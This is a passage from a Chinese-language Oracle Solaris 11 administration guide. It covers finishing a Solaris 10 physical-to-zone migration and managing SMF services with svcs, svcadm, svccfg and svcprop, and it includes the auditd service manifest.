NAME               USED  AVAIL  REFER  MOUNTPOINT
myzones/solaris10   31K  77.4G    31K  /myzones/solaris10

由于 solaris10.flar 镜像将被访问,以便将 Oracle Solaris 10 内容从 Oracle Solaris 10 物理主机传输过来,因此必须通过执行以下命令,验证从 Oracle Solaris 11 主机(solaris11-1)连接到 NFS 共享(/migration):

root@solaris11-1:~# showmount -e 192.168.1.108
export list for 192.168.1.108:
/migration (everyone)

root@solaris11-1:~#

是时候执行迁移步骤了。通过运行以下命令,将 NFS 共享挂载到 /mnt

root@solaris11-1:~# mount -F nfs 192.168.1.108:/migration /mnt
root@solaris11-1:~# df -h | grep migration
192.168.1.108:/migration    37G   8.2G        29G    23%    /mnt

使用之前步骤中创建的保存的 Solaris 10 配置文件(solaris10.cfg),在 Oracle Solaris 11 主机(solaris11-1)中创建非全局区域,命令如下:

root@solaris11-1:~# zonecfg -z solaris10 -f /mnt/solaris10.cfg 
root@solaris11-1:~# zonecfg -z solaris10 info
zonename: solaris10
zonepath: /myzones/solaris10
brand: solaris10
autoboot: false
bootargs: 
pool: 
limitpriv: 
scheduling-class: 
ip-type: shared
hostid: 37e12f92
fs-allowed: 
[max-lwps: 57140]
net:
  address: 192.168.1.124
  allowed-address not specified
  configure-allowed-address: true
  physical: net0
  defrouter not specified
attr:
  name: zonep2vchk-info
  type: string
  value: "p2v of host solaris10"
attr:
  name: num-cpus
  type: string
  value: "original system had 1 cpus"
rctl:
  name: zone.max-lwps
  value: (priv=privileged,limit=57140,action=deny)

最后,我们通过运行以下命令,使用 solaris10.flar 镜像安装该区域:

root@solaris11-1:~# zoneadm -z solaris10 install -a /mnt/solaris10.flar -u
/myzones/solaris10 must not be group readable.
/myzones/solaris10 must not be group executable.
/myzones/solaris10 must not be world readable.
/myzones/solaris10 must not be world executable.
changing zonepath permissions to 0700.
Progress being logged to /var/log/zones/zoneadm.20140212T033711Z.solaris10.install
    Installing: This may take several minutes...
Postprocessing: This may take a while...
   Postprocess: Updating the image to run within a zone

        Result: Installation completed successfully.
Log saved in non-global zone as /myzones/solaris10/root/var/log/zones/zoneadm.20140212T033711Z.solaris10.install

在上一步之后,建议您通过执行以下命令验证 solaris10 区域是否已正确安装和配置:

root@solaris11-1:~# zoneadm list -cv
ID NAME        STATUS     PATH                      BRAND     IP    
 0 global      running    /                         solaris   shared
 1 zone1       running    /myzones/zone1            solaris   excl  
 2 zone2       running    /myzones/zone2            solaris   excl  
 - solaris10   installed  /myzones/solaris10        solaris10 shared
root@solaris11-1:~# zoneadm -z solaris10 boot
zone 'solaris10': WARNING: net0: no matching subnet found in netmasks(4): 192.168.1.124; using default of 255.255.255.0.
zone 'solaris10': Warning: "/usr/lib/netsvc/rstat/rpc.rstatd" is not installed in the global zone

启动区域后,请再次运行以下命令检查其状态:

root@solaris11-1:~# zoneadm list -cv
 ID NAME         STATUS     PATH                     BRAND    IP    
 0 global        running    /                        solaris  shared
 1 zone1         running    /myzones/zone1           solaris  excl  
 2 zone2         running    /myzones/zone2           solaris  excl  
 4 solaris10     running    /myzones/solaris10       solaris10 shared

登录到新区域并验证它是一个 Oracle Solaris 10 安装,如下所示:

root@solaris11-1:~# zlogin solaris10
[Connected to zone 'solaris10' pts/2]
Last login: Tue Feb 11 16:04:11 on console
Oracle Corporation  SunOS 5.10  Generic Patch  January 2005

# bash
bash-3.2# uname -a
SunOS solaris10 5.10 Generic_Virtual i86pc i386 i86pc

bash-3.2# more /etc/release
                    Oracle Solaris 10 1/13 s10x_u11wos_24a X86
  Copyright (c) 1983, 2013, Oracle and/or its affiliates. All rights reserved.
                            Assembled 17 January 2013

bash-3.2# ping 192.168.1.1
192.168.1.1 is alive
bash-3.2#

这真是太棒了!我们已经成功将 Oracle Solaris 10 主机迁移到 Oracle Solaris 11 主机中的 solaris10 品牌区域。

过程概述

我们没有使用额外或外部工具,学会了如何通过使用 zonep2vchkflarcreatezonecfg 命令将 Oracle Solaris 10 物理主机迁移到 Oracle Solaris 11 非全局区域。

参考资料

第五章:玩转 Oracle Solaris 11 服务

本章将涵盖:

  • 审查 SMF 操作

  • 处理清单和配置文件

  • 创建 SMF 服务

  • 管理 inetd 控制的网络服务

  • 排查 Oracle Solaris 11 服务问题

介绍

Oracle Solaris 11 将服务管理设施SMF)作为一个主要特性。这个框架负责管理和监控所有服务和应用程序。SMF 在 Oracle Solaris 10 中引入,它提供了多种可能性,通过负责多个任务使我们的工作变得更轻松,例如以下任务:

  • 启动、停止和重启服务

  • 监控服务

  • 发现所有服务依赖关系

  • 排查服务问题

  • 为每个可用服务提供单独的日志

通常,每个系统中有许多服务,并且这些服务按类别组织,如系统、网络、设备和应用程序。通常,一个服务只有一个名为 default 的实例。然而,一个服务可以呈现多个实例(例如,可以有多个 Oracle 实例和多个配置的网络接口,并且这种差异在引用服务时会突出显示。这个引用被称为故障管理资源标识符FMRI),格式类似于svc:/system/cron:default,其中:

  • svc:这是 SMF 的本地服务

  • system:这是服务类别

  • cron:这是服务名称

  • default:这是实例

负责管理所有 SMF 服务的主要守护进程是svc.startd,它在系统初始化时被调用,读取配置文件/etc/inittab,如下所示:

root@solaris11-1:~# more /etc/inittab
 (truncated output)
ap::sysinit:/usr/sbin/autopush -f /etc/iu.ap
smf::sysinit:/lib/svc/bin/svc.startd  >/dev/msglog 2<>/dev/msglog </dev/console
p3:s1234:powerfail:/usr/sbin/shutdown -y -i5 -g0 >/dev/msglog 2<>/dev/msglog
root@solaris11-1:~#

svc.startd的另一个目标是确保系统达到适当的里程碑,也就是一组服务上线的状态或级别,这些服务与旧版运行级别状态非常相似。重要的里程碑有单用户(运行级别 S)、多用户(运行级别 2)和多用户服务器(运行级别 3):

root@solaris11-1:~# svcs -a | grep milestone
online         21:54:11 svc:/milestone/unconfig:default
online         21:54:11 svc:/milestone/config:default
online         21:54:12 svc:/milestone/devices:default
online         21:54:23 svc:/milestone/network:default
online         21:54:25 svc:/milestone/name-services:default
online         21:54:25 svc:/milestone/single-user:default
online          0:54:52 svc:/milestone/self-assembly-complete:default
online          0:54:59 svc:/milestone/multi-user:default
online          0:55:00 svc:/milestone/multi-user-server:default

有两个特殊的里程碑,如下所示:

  • all:这是默认的里程碑,其中所有服务都会初始化

  • none:没有初始化任何服务——这可以在 Oracle Solaris 11 维护期间使用

基于前述信息,了解正确的初始化顺序是非常重要的,如下所示:

  • Boot loader:根文件系统归档从磁盘加载到内存中

  • Booter:引导归档(它是一个类似于 Linux 中的initramfs的 RAM 磁盘映像,包含启动系统所需的所有文件)被加载到内存中并执行。引导加载程序是一个服务:

    root@solaris11-1:~# svcs -a | grep boot-archive
    online         21:53:51 svc:/system/boot-archive:default
    online          0:54:51 svc:/system/boot-archive-update:default
    

任何boot-archive维护操作必须由bootadm命令完成。

  • Ram disk:内核从引导归档中提取并执行。

  • 内核:一个小的根文件系统被挂载,然后从那里加载重要的驱动程序。之后,真正的根文件系统被挂载,剩余的驱动程序被加载,/sbin/init 脚本被执行。

  • Init/sbin/init 脚本读取 /etc/inittab 文件,并执行 svc.started 守护进程。

  • svc.started:这会启动 SMF 服务及其相关进程。所有服务配置通过 svc.configd 守护进程从名为 repository.db 的主服务数据库中读取,该数据库位于 /etc/svc 目录下,并有相应的备份文件。

审查 SMF 操作

在 Oracle Solaris 11 中管理服务非常简单,因为它的命令语法直观且不多。因此,本节的主要目的是回顾 SMF 管理的操作部分。

准备工作

本食谱需要一台安装了 Oracle Solaris 11 并且具有 4 GB 内存的虚拟机(VirtualBox 或 VMware)。

如何执行…

当管理员负责管理 Oracle Solaris 11 中的服务时,最重要且最常见的任务是列出现有的服务。此操作可以通过执行以下命令来完成:

root@solaris11-1:~# svcs -a | more
STATE          STIME    FMRI
legacy_run      0:54:59 lrc:/etc/rc2_d/S47pppd
legacy_run      0:54:59 lrc:/etc/rc2_d/S89PRESERVE
disabled       21:53:34 svc:/system/device/mpxio-upgrade:default
disabled       21:53:35 svc:/network/install:default
disabled       21:53:36 svc:/network/ipsec/ike:default
(truncated output)
online         21:53:34 svc:/system/early-manifest-import:default
online         21:53:34 svc:/system/svc/restarter:default
online         21:53:41 svc:/network/socket-config:default
(truncated output)

svcs 命令的目的是列出现有的服务,当指定 -a 选项时,我们希望列出所有的服务。

从前面的输出中,得到以下有用的信息:

  • legacy_run 状态是遗留服务的标签,这些服务未被转换到 SMF 框架中。其他可能的状态如下:

    • online:这意味着服务正在运行

    • disabled:这意味着服务没有运行

    • offline:这意味着服务已启用,但它要么没有运行,要么无法运行

    • initialized:这意味着服务正在启动

    • degraded:这意味着服务正在运行,但仅部分功能可用

    • maintenance:这意味着服务没有运行,因为存在配置问题

  • STIME 字段显示服务启动的时间

  • FMRI 是引用服务的别名对象

在 Oracle Solaris 11 中,SMF 在查找服务依赖关系(-d 选项)和发现哪些服务依赖于该服务(-D 选项)时表现得非常出色。以下是一些示例:

root@solaris11-1:~# svcs -a | grep auditd
online          0:54:55 svc:/system/auditd:default
root@solaris11-1:~# svcs -d svc:/system/auditd:default
STATE          STIME    FMRI
online         21:54:25 svc:/milestone/name-services:default
online         21:54:40 svc:/system/filesystem/local:default
online          0:54:53 svc:/system/system-log:default
root@solaris11-1:~# svcs -D svc:/system/auditd:default
STATE          STIME    FMRI
disabled       21:53:48 svc:/system/console-login:terma
disabled       21:53:49 svc:/system/console-login:termb
online          0:54:55 svc:/system/console-login:default
online          0:54:56 svc:/system/console-login:vt2
online          0:54:56 svc:/system/console-login:vt6
online          0:54:56 svc:/system/console-login:vt3
online          0:54:56 svc:/system/console-login:vt5
online          0:54:56 svc:/system/console-login:vt4
online          0:54:59 svc:/milestone/multi-user:default

另一种寻找服务依赖关系的好方法是使用 svc 命令,如下所示:

root@solaris11-1:~# svcs -l svc:/system/auditd:default
fmri         svc:/system/auditd:default
name         Solaris audit daemon
enabled      true
state        online
next_state   none
state_time   March  5, 2014 00:43:41 AM BRT
logfile      /var/svc/log/system-auditd:default.log
restarter    svc:/system/svc/restarter:default
contract_id  115 
manifest     /lib/svc/manifest/system/auditd.xml
dependency   require_all/none svc:/system/filesystem/local (online)
dependency   require_all/none svc:/milestone/name-services (online)
dependency   optional_all/none svc:/system/system-log (online)

从之前的输出中获得一些有用信息,例如知道该服务已启用(online);它有三个服务依赖关系(如 svcs –d 命令所示);并找到它们各自的日志文件(/var/svc/log/system-auditd:default.log),可以使用 more /var/svc/log/system-auditd:default.log 来查看。

通过运行以下命令,可以学习到有关 contract_id 属性(115)的有用信息:

root@solaris11-1:~# ctstat -i 115 -v
CTID    ZONEID  TYPE    STATE   HOLDER  EVENTS  QTIME   NTIME   
115     0       process owned   11      0       -       -       
  cookie:                0x20
  informative event set: none
  critical event set:    hwerr empty
  fatal event set:       none
  parameter set:         inherit regent
  member processes:      944
  inherited contracts:   none
  service fmri:          svc:/system/auditd:default
  service fmri ctid:     115
  creator:               svc.startd
  aux:                   start
root@solaris11-1:~#

auditd 获取的相关进程 ID 是 944,该服务是由 svc.startd 守护进程初始化的。此外,通过使用 FMRI 的简短形式运行以下命令,也可以找到关于进程 ID 的相同信息:

root@solaris11-1:~# svcs -p auditd
STATE          STIME    FMRI
online          0:54:55 svc:/system/auditd:default
                0:54:55      944 auditd

FMRI 的简短形式是一个独特的序列,它使得能够将该服务与其他服务区分开,并且此简短形式始终指向指定服务的默认实例。

一个用于故障排除服务的好 svcs 命令参数如下:

root@solaris11-1:~# svcs -x auditd
svc:/system/auditd:default (Solaris audit daemon)
 State: online since March  2, 2014 12:54:55 AM BRT
   See: auditd(1M)
   See: audit(1M)
   See: auditconfig(1M)
   See: audit_flags(5)
   See: audit_binfile(5)
   See: audit_syslog(5)
   See: audit_remote(5)
   See: /var/svc/log/system-auditd:default.log
Impact: None.

如果有任何已经配置的服务,它应该在运行。但是,如果它没有运行,或者它阻止了其他服务的运行,我们可以通过执行以下命令来找出原因:

root@solaris11-1:~# svcs -xv

上一个命令的输出没有显示任何内容,但可能存在一些损坏的服务。在本章的最后,我们将回到这个问题。

到目前为止,所有任务都集中在收集服务信息上。我们的下一步是学习如何使用 svcadm 命令进行管理。此命令的可用选项如下:

  • svcadm enable <fmri>:这将启用一个服务

  • svcadm enable –r <fmri>:这将递归启用一个服务及其依赖项

  • svcadm disable <fmri>:这将禁用一个服务

  • svcadm disable –t <fmri>:这将暂时禁用一个服务(该服务将在下次启动时启用)

  • svcadm restart <fmri>:这将重启一个服务

  • svcadm refresh <fmri>:这将重新读取服务的配置文件

  • svcadm clear <fmri>:这将使服务从维护状态恢复到在线状态

  • svcadm mark maintenance <fmri>:这将把服务置于维护状态

以下是一些示例:

root@solaris11-1:/# svcadm disable auditd
root@solaris11-1:/# svcs -a | grep auditd
disabled       20:33:12 svc:/system/auditd:default
root@solaris11-1:/# svcadm enable auditd
root@solaris11-1:/# svcs -a | grep auditd
online         20:33:35 svc:/system/auditd:default

SMF 还支持通过 SMTP 服务和 SNMP trap 进行通知功能。要启用和配置此功能(使用 SMTP),需要安装通知包,执行此任务可以通过运行以下命令:

root@solaris11-1:/# pkg install smtp-notify

安装 smtp-notify 包后,我们可以启用并配置任何服务,以便在其状态从在线变为维护时,将消息发送到 root@localhost,如下所示:

root@solaris11-1:/# svcadm enable smtp-notify
root@solaris11-1:/# svcs -a | grep smtp-notify
online         20:29:07 svc:/system/fm/smtp-notify:default
root@solaris11-1:~# svccfg -s svc:/system/fm/smtp-notify:default setnotify -g from-online,to-maintenance mailto:root@localhost

要检查是否所有服务的通知服务已正确配置,请执行以下命令:

root@solaris11-1:~# svcs –n
Notification parameters for FMA Events
    Event: problem-diagnosed
        Notification Type: smtp
            Active: true
            reply-to: root@localhost
            to: root@localhost

        Notification Type: snmp
            Active: true

        Notification Type: syslog
            Active: true

    Event: problem-repaired
        Notification Type: snmp
            Active: true

    Event: problem-resolved
        Notification Type: snmp
            Active: true
System wide notification parameters:
svc:/system/svc/global:default:
    Event: to-maintenance
        Notification Type: smtp
            Active: true
            to: root@localhost

    Event: from-online
        Notification Type: smtp
            Active: true
            to: root@localhost

最后,如果我们检查根邮箱,我们将看到我们的配置结果:

root@solaris11-1:/# mail
From noaccess@solaris11-1.example.com Sun Mar  2 20:29:05 2014
Date: Sun, 2 Mar 2014 05:17:28 -0300 (BRT)
From: No Access User <noaccess@solaris11-1.example.com>
Message-Id: <201403020817.s228HSRC006537@solaris11-1.example.com>
Subject: Fault Management Event: solaris11-1:SMF-8000-YX
To: root@solaris11-1.example.com
Content-Length: 791

SUNW-MSG-ID: SMF-8000-YX, TYPE: defect, VER: 1, SEVERITY: major
EVENT-TIME: Sun Mar  2 05:17:23 BRT 2014
PLATFORM: VirtualBox, CSN: 0, HOSTNAME: solaris11-1
SOURCE: software-diagnosis, REV: 0.1
EVENT-ID: acfbe77f-47fc-6e3b-835a-9005dc8ec70c
DESC: A service failed - a method is failing in a retryable manner but too often.
AUTO-RESPONSE: The service has been placed into the maintenance state.
IMPACT: svc:/system/zones:default is unavailable.
REC-ACTION: Run 'svcs -xv svc:/system/zones:default' to determine the generic reason why the service failed, the location of any logfiles, and a list of other services impacted. Please refer to the associated reference document at http://support.oracle.com/msg/SMF-8000-YX for the latest service procedures and policies regarding this diagnosis.

Oracle Solaris 11 中的一个服务有多个属性,所有这些属性都可以通过 svcprop 命令查看,如下所示:

root@solaris11-1:/# svcprop auditd
preselection/flags astring lo
preselection/naflags astring lo
preselection/read_authorization astring solaris.smf.value.audit
preselection/value_authorization astring solaris.smf.value.audit
queuectrl/qbufsz count 0
queuectrl/qdelay count 0
queuectrl/qhiwater count 0
queuectrl/qlowater count 0
(truncated output)

如果我们要检查审计服务的特定属性,我们需要执行以下命令:

root@solaris11-1:/# svcprop -p audit_remote_server/login_grace_time auditd
30

如果我们进一步操作,可以通过 svccfg 命令与服务的属性进行交互(读取和写入):

root@solaris11-1:/# svccfg 
svc:>

第一步是通过运行以下命令序列列出所有可用的服务:

svc:> list
application/cups/scheduler
application/cups/in-lpd
smf/manifest
application/security/tcsd
application/management/net-snmp
(truncated output)

svc:> select auditd
svc:/system/auditd> list
:properties
default

在选择 auditd 服务时,有两种可能性——列出服务的一般属性或列出其 default 实例的私有属性。因此,要列出其一般属性,请执行以下命令:

svc:/system/auditd> listprop
usr                          dependency         
usr/entities                 fmri        svc:/system/filesystem/local
usr/grouping                 astring     require_all
usr/restart_on               astring     none
(truncated output)

从默认实例列出属性的操作通过执行以下命令完成:

svc:/system/auditd:default> select auditd:default
svc:/system/auditd:default> listprop
preselection                        application
preselection/flags                  astring     lo
preselection/naflags                astring     lo
preselection/read_authorization     astring   solaris.smf.value.audit
preselection/value_authorization    astring   solaris.smf.value.audit
queuectrl                           application
(truncated output)

通过运行以下命令,可以列出并更改任何服务的属性:

svc:/system/auditd:default> listprop audit_remote/p_timeout
audit_remote/p_timeout count       5
svc:/system/auditd:default> setprop audit_remote/p_timeout=10
svc:/system/auditd:default> listprop audit_remote/p_timeout
audit_remote/p_timeout count       10

很多时候,在重新配置期间,服务的属性可能会更改为另一个非默认值,最终该服务可能会因为这个新配置而出现问题并进入维护状态。那么,如何恢复属性的旧值呢?

为了解决这个问题,我们可以将此服务的所有属性值恢复为默认值。此任务可以通过使用 SMF 的自动快照(一种备份方式)来执行。因此,请执行以下命令:

svc:/system/auditd:default> revert start
svc:/system/auditd:default> listprop audit_remote/p_timeout
audit_remote/p_timeout count       5
svc:/system/auditd:default> unselect
svc:/system/auditd> unselect
svc:> exit
root@solaris11-1:~#

可用的快照如下:

  • running:每次运行 svcadm 刷新时都会拍摄此快照

  • start:此快照是在最后一次成功启动时拍摄的

  • initial:此快照是在第一次导入清单时拍摄的

SMF 清单是一个 XML 文件,描述了一个服务、一组实例及其各自的属性。当导入一个清单时,所有配置(包括其属性)都会被加载到服务配置库中。清单的默认位置是 /lib/svc/ 下的 manifest 目录。

另一个有趣且相关的任务是学习如何更改服务的环境变量。以下示例展示了将 TZ 属性的值更改为 Brazil/East:

root@solaris11-1:~# pargs -e `pgrep -f /usr/sbin/auditd`
937:  /usr/sbin/auditd
envp[0]: _=*11*/usr/sbin/auditd
envp[1]: LANG=en_US.UTF-8
envp[2]: LC_ALL=
envp[3]: LC_COLLATE=
envp[4]: LC_CTYPE=
envp[5]: LC_MESSAGES=
envp[6]: LC_MONETARY=
envp[7]: LC_NUMERIC=
envp[8]: LC_TIME=
envp[9]: PATH=/usr/sbin:/usr/bin
envp[10]: PWD=/root
envp[11]: SHLVL=2
envp[12]: SMF_FMRI=svc:/system/auditd:default
envp[13]: SMF_METHOD=start
envp[14]: SMF_RESTARTER=svc:/system/svc/restarter:default
envp[15]: SMF_ZONENAME=global
envp[16]: TZ=localtime
envp[17]: A__z="*SHLVL

因此,为了更改并检查 auditd 服务中 TZ 属性的值,请执行以下命令:

root@solaris11-1:~# svccfg -s svc:/system/auditd:default setenv TZ Brazil/East
root@solaris11-1:~# svcadm refresh svc:/system/auditd:default
root@solaris11-1:~# svcadm restart svc:/system/auditd:default
root@solaris11-1:~# pargs -e `pgrep -f /usr/sbin/auditd`
7435:  /usr/sbin/auditd
envp[0]: _=*11*/usr/sbin/auditd
envp[1]: LANG=en_US.UTF-8
envp[2]: LC_ALL=
envp[3]: LC_COLLATE=
envp[4]: LC_CTYPE=
envp[5]: LC_MESSAGES=
envp[6]: LC_MONETARY=
envp[7]: LC_NUMERIC=
envp[8]: LC_TIME=
envp[9]: PATH=/usr/sbin:/usr/bin
envp[10]: PWD=/root
envp[11]: SHLVL=2
envp[12]: SMF_FMRI=svc:/system/auditd:default
envp[13]: SMF_METHOD=start
envp[14]: SMF_RESTARTER=svc:/system/svc/restarter:default
envp[15]: SMF_ZONENAME=global
envp[16]: TZ=Brazil/East
envp[17]: A__z="*SHLVL

查找在 SMF 配置库中更改的属性还有一个好方法:

root@solaris11-1:~# svccfg -s auditd listcust -L
start/environment              astring     admin       TZ=Brazil/East

方法概览

在本节中,你学习了 SMF 的基本原理,以及如何使用 svcssvcadm 来管理 SMF 服务。我们还配置了通知服务,使用 SMTP 服务记录任何有趣的事件,例如更改服务状态。最后,使用 svcpropsvccfg 命令来获取并查看服务的属性,并通过 svccfg 中的快照功能(listsnaprevert 子命令)回滚所有属性到默认值。

处理清单和配置文件

在处理 SMF 服务时,几乎每个服务的配置都集中在两个关键概念上:配置文件和清单。以下方法将教你这些细节。

准备工作

本方法需要运行 Oracle Solaris 11 的虚拟机(VirtualBox 或 VMware),且内存为 4 GB。

如何操作…

正如我们之前解释的那样,SMF 清单是一个描述服务、实例集及其属性的 XML 文件。当清单被导入时,它的整个配置(包括其属性)将被加载到服务配置库中。通过执行以下命令,可以强制执行导入操作,从而可能将新配置加载到库中:

root@solaris11-1:~# svcadm restart svc:/system/manifest-import:default

清单的默认位置是/lib/svc/下的manifest目录,如下所示:

root@solaris11-1:~# cd /lib/svc/manifest/
root@solaris11-1:/lib/svc/manifest# ls –l
total 27
drwxr-xr-x  10 root     sys           17 Dec 23 18:41 application
drwxr-xr-x   2 root     sys            2 Sep 19  2012 device
drwxr-xr-x   2 root     sys           10 Dec 23 18:54 milestone
drwxr-xr-x  16 root     sys           53 Jan 17 07:23 network
drwxr-xr-x   2 root     sys            2 Sep 19  2012 platform
drwxr-xr-x   2 root     sys            2 Sep 19  2012 site
drwxr-xr-x   8 root     sys           73 Dec 23 18:55 system
root@solaris11-1:/lib/svc/manifest# cd application/
root@solaris11-1:/lib/svc/manifest/application# ls –l
total 92
-r--r--r--   1 root     sys         3464 Sep 19  2012 coherence.xml
-r--r--r--   1 root     sys         6160 Sep 19  2012 cups.xml
drwxr-xr-x   2 root     sys           11 Dec 23 18:41 desktop-cache
drwxr-xr-x   2 root     sys            3 Dec 23 18:41 font
drwxr-xr-x   2 root     sys            3 Dec 23 18:41 graphical-login
-r--r--r--   1 root     sys         1762 Sep 19  2012 man-index.xml
drwxr-xr-x   2 root     sys            3 Dec 23 18:41 management
drwxr-xr-x   2 root     sys            3 Dec 23 18:41 opengl
drwxr-xr-x   2 root     sys            7 Dec 23 18:41 pkg
drwxr-xr-x   2 root     sys            3 Dec 23 18:41 security
-r--r--r--   1 root     sys         2687 Sep 19  2012 stosreg.xml
-r--r--r--   1 root     sys         1579 Sep 19  2012 texinfo-update.xml
-r--r--r--   1 root     sys         9013 Sep 19  2012 time-slider-plugin.xml
-r--r--r--   1 root     sys         4469 Sep 19  2012 time-slider.xml
drwxr-xr-x   2 root     sys            5 Dec 23 18:41 x11

根据输出,服务清单被分类为:

  • application

  • device

  • milestone

  • network

  • platform

  • site

  • system

上述输出列出了所有应用清单作为示例,正如我们将要学习的那样,清单在服务配置中起着非常重要的作用。例如,研究audit.xml清单以了解细节会很有帮助。因此,这一学习将如下进行:

root@solaris11-1:/lib/svc/manifest# cd system/
root@solaris11-1:/lib/svc/manifest/system# cat auditd.xml
<?xml version="1.0"?>
<!DOCTYPE service_bundle SYSTEM "/usr/share/lib/xml/dtd/service_bundle.dtd.1">
<!--
 Copyright (c) 2005, 2012, Oracle and/or its affiliates. All rights reserved.

    NOTE:  This service manifest is not editable; its contents will
    be overwritten by package or patch operations, including
    operating system upgrade.  Make customizations in a different
    file.
-->

<service_bundle type='manifest' name='SUNWcsr:auditd'>

<service
  name='system/auditd'
  type='service'
  version='1'>

  <single_instance />

  <dependency
    name='usr'
    type='service'
    grouping='require_all'
    restart_on='none'>
    <service_fmri value='svc:/system/filesystem/local' />
  </dependency>

  <dependency
    name='ns'
    type='service'
    grouping='require_all'
    restart_on='none'>
    <service_fmri value='svc:/milestone/name-services' />
  </dependency>

  <dependency
    name='syslog'
    type='service'
    grouping='optional_all'
    restart_on='none'>
    <service_fmri value='svc:/system/system-log' />
  </dependency>

  <dependent
    name='multi-user'
    grouping='optional_all'
    restart_on='none'>
    <service_fmri value='svc:/milestone/multi-user'/>
  </dependent>

  <dependent
    name='console-login'
    grouping='optional_all'
    restart_on='none'>
    <service_fmri value='svc:/system/console-login'/>
  </dependent>

  <exec_method
    type='method'
    name='start'
    exec='/lib/svc/method/svc-auditd'
    timeout_seconds='60'>
    <method_context>
      <method_credential user='root' group='root' />
    </method_context>
  </exec_method>

  <exec_method
    type='method'
    name='refresh'
    exec='/lib/svc/method/svc-auditd'
    timeout_seconds='30'>
    <method_context>
      <method_credential user='root' group='root' />
    </method_context>
  </exec_method>

  <!--
    auditd waits for c2audit to quiet down after catching a -TERM
    before exiting; auditd's timeout is 20 seconds
  -->

  <exec_method
    type='method'
    name='stop'
    exec=':kill -TERM'
    timeout_seconds='30'>
    <method_context>
      <method_credential user='root' group='root' />
    </method_context>
  </exec_method>

  <!-- SIGs HUP, TERM, and USR1 are all expected by auditd -->
  <property_group name='startd' type='framework'>
    <propval name='ignore_error' type='astring'
      value='core,signal' />
  </property_group>

  <property_group name='general' type='framework'>
    <!-- to start/stop auditd -->
    <propval name='action_authorization' type='astring'
      value='solaris.smf.manage.audit' />
    <propval name='value_authorization' type='astring'
      value='solaris.smf.manage.audit' />
  </property_group>

  <instance name='default' enabled='true'>

  <!--
    System-wide audit preselection flags - see auditconfig(1M)
    and audit_flags(5).

    The 'flags' property is the system-wide default set of
    audit classes that is combined with the per-user audit
    flags to configure the process audit at login and role
    assumption time.

    The 'naflags' property is the set of audit classes for
    audit event selection when an event cannot be attributed
    to an authenticated user.
  -->
  <property_group name='preselection' type='application'>
    <propval name='flags' type='astring'
      value='lo' />
    <propval name='naflags' type='astring'
      value='lo' />
    <propval name='read_authorization' type='astring'
      value='solaris.smf.value.audit' />
    <propval name='value_authorization' type='astring'
      value='solaris.smf.value.audit' />
  </property_group>

  <!--
    Audit Queue Control Properties - see auditconfig(1M)

      Note, that the default value for all the queue control
      configuration parameters is 0, which makes auditd(1M) to
      use current active system parameters.
  -->
  <property_group name='queuectrl' type='application' >
    <propval name='qbufsz' type='count'
      value='0' />
    <propval name='qdelay' type='count'
      value='0' />
    <propval name='qhiwater' type='count'
      value='0' />
    <propval name='qlowater' type='count'
      value='0' />
    <propval name='read_authorization' type='astring'
      value='solaris.smf.value.audit' />
    <propval name='value_authorization' type='astring'
      value='solaris.smf.value.audit' />
  </property_group>

  <!--
    Audit Policies - see auditconfig(1M)

      Note, that "all" and "none" policies available as a
      auditconfig(1M) policy flags actually means a full/empty set
      of other policy flags. Thus they are not configurable in the
      auditd service manifest, but set all the policies to true
      (all) or false (none).
  -->
  <property_group name='policy' type='application' >
    <propval name='ahlt' type='boolean'
      value='false' />
    <propval name='arge' type='boolean'
      value='false' />
    <propval name='argv' type='boolean'
      value='false' />
    <propval name='cnt' type='boolean'
      value='true' />
    <propval name='group' type='boolean'
      value='false' />
    <propval name='path' type='boolean'
      value='false' />
    <propval name='perzone' type='boolean'
      value='false' />
    <propval name='public' type='boolean'
      value='false' />
    <propval name='seq' type='boolean'
      value='false' />
    <propval name='trail' type='boolean'
      value='false' />
    <propval name='windata_down' type='boolean'
      value='false' />
    <propval name='windata_up' type='boolean'
      value='false' />
    <propval name='zonename' type='boolean'
      value='false' />
    <propval name='read_authorization' type='astring'
      value='solaris.smf.value.audit' />
    <propval name='value_authorization' type='astring'
      value='solaris.smf.value.audit' />
  </property_group>

  <!--
    Audit Remote Server to allow reception of data sent by the
    audit_remote(5) - see audit auditconfig(1M).

    'active' is boolean which defines whether the server functionality
      is activated or not.

    'listen_address' address the server listens on.
      Empty 'listen_address' property defaults to listen on all
      local addresses.

    'listen_port' the local listening port; 0 defaults to 16162 - port
      associated with the "solaris-audit" Internet service name - see
      services(4).

    'login_grace_time' the server disconnects after login grace time
      (in seconds) if the connection has not been successfully
      established; 0 defaults to no limit, default value is 30 (seconds).

    'max_startups' number of concurrent unauthenticated connections
      to the server at which the server starts refusing new
      connections; default value is 10\. Note that the value might
      be specified in "begin:rate:full" format to allow random
      early drop mode.
  -->
        <property_group name='audit_remote_server' type='application' >
                <propval name='active' type='boolean'
                        value='true' />
                <propval name='listen_address' type='astring'
                        value='' />
                <propval name='listen_port' type='count'
                        value='0' />
                <propval name='login_grace_time' type='count'
                        value='30' />
                <propval name='max_startups' type='astring'
                        value='10' />
                <property name='read_authorization' type='astring'>
                        <astring_list>
                                <value_node value='solaris.smf.manage.audit' />
                                <value_node value='solaris.smf.value.audit' />
                        </astring_list>
                </property>
                <propval name='value_authorization' type='astring'
                        value='solaris.smf.value.audit' />
        </property_group>

  <!--
    Plugins to configure where to send the audit trail - see
    auditconfig(1M), audit_binfile(5), audit_remote(5),
    audit_syslog(5) 

    Each plugin type property group has properties:

    'active' is a boolean which defines whether or not
      to load the plugin.

    'path' is a string which defines name of the
      plugin's shared object in the file system.
      Relative paths assume a prefix of
      "/usr/lib/security/$ISA"

    'qsize' is an integer which defines a plugin specific
      maximum number of records that auditd will queue
      for it. A zero (0) value indicates not defined.
      This overrides the system's active queue control
      hiwater mark.

      and various attributes as defined on the plugin's man page
  -->
  <property_group name='audit_binfile' type='plugin' >
    <propval name='active' type='boolean'
      value='true' />
    <propval name='path' type='astring'
      value='audit_binfile.so' />
    <propval name='qsize' type='count'
      value='0' />
    <propval name='p_dir' type='astring'
      value='/var/audit' />
    <propval name='p_fsize' type='astring'
      value='0' />
    <propval name='p_minfree' type='count'
      value='1' />
    <property name='read_authorization' type='astring'>
      <astring_list>
        <value_node value='solaris.smf.manage.audit' />
        <value_node value='solaris.smf.value.audit' />
      </astring_list>
    </property>
    <propval name='value_authorization' type='astring'
        value='solaris.smf.value.audit' />
  </property_group>

  <property_group name='audit_syslog' type='plugin' >
    <propval name='active' type='boolean'
      value='false' />
    <propval name='path' type='astring'
      value='audit_syslog.so' />
    <propval name='qsize' type='count'
      value='0' />
    <propval name='p_flags' type='astring'
      value='' />
    <property name='read_authorization' type='astring'>
      <astring_list>
